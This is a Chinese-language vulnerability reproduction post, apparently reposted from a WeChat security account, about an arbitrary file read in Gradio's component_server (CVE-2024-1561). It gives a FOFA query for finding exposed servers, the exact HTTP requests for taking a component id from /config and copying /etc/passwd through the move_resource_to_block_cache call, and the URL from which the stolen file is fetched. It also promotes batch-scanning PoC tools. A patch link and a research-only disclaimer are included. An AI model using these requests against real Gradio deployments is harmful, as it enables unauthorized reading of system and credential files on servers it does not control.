Gradio component_server存在任意文件读取漏洞复现(CVE-2024-1561)CVE-2024-1561

admin 2024年5月21日00:16:01评论137 views字数 1352阅读4分30秒阅读模式

1. Gradio 简介

微信公众号搜索:南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发

Gradio是一个开源 Python 库

2.漏洞描述

Gradio是一个开源 Python 库,是通过友好的 Web 界面演示机器学习模型的方法。Gradio 存在安全漏洞,该漏洞源于端点不正确地允许调用类上的任何方法,允许未经授权的本地文件读取访问,可能导致敏感信息泄露。

CVE编号:CVE-2024-1561

CNNVD编号:CNNVD-202404-2071

CNVD编号:

3.影响版本

Gradio开源 Python 库

Gradio component_server存在任意文件读取漏洞复现(CVE-2024-1561)CVE-2024-1561
Gradio component_server存在任意文件读取漏洞复现(CVE-2024-1561)

4.fofa查询语句

body="gradio_mode"

5.漏洞复现

先获取components后面的id值 漏洞数据包:

GET /config HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: xxx.xxx.xxx.xx
Gradio component_server存在任意文件读取漏洞复现(CVE-2024-1561)CVE-2024-1561

使用上面获取的id值发包,会返回一个文件

POST /component_server HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: xxx.xxx.xxx.xxx
Content-Type: application/json
Content-Length: 105

{"component_id": "上面获取的id","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "a"}

Gradio component_server存在任意文件读取漏洞复现(CVE-2024-1561)CVE-2024-1561

读取该文件,实现任意文件读取http://xxx.xxx.xxx.xxx/file=/tmp/gradio/916eb712d668cf14a35adf8179617549780c4070/passwd

Gradio component_server存在任意文件读取漏洞复现(CVE-2024-1561)CVE-2024-1561

6.POC&EXP

本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球:南风网络安全
1: 更新poc批量扫描软件,承诺,一周更新8-14个插件吧,我会优先写使用量比较大程序漏洞。
2: 免登录,免费fofa查询。
3: 更新其他实用网络安全工具项目。

7.整改意见

打补丁:https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2

8.往期回顾

瑞友天翼应用虚拟化系统/Admin/appsave存在SQL注入漏洞

原文始发于微信公众号(南风漏洞复现文库):Gradio component_server存在任意文件读取漏洞复现(CVE-2024-1561)CVE-2024-1561

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月21日00:16:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Gradio component_server存在任意文件读取漏洞复现(CVE-2024-1561)CVE-2024-1561https://cn-sec.com/archives/2761561.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息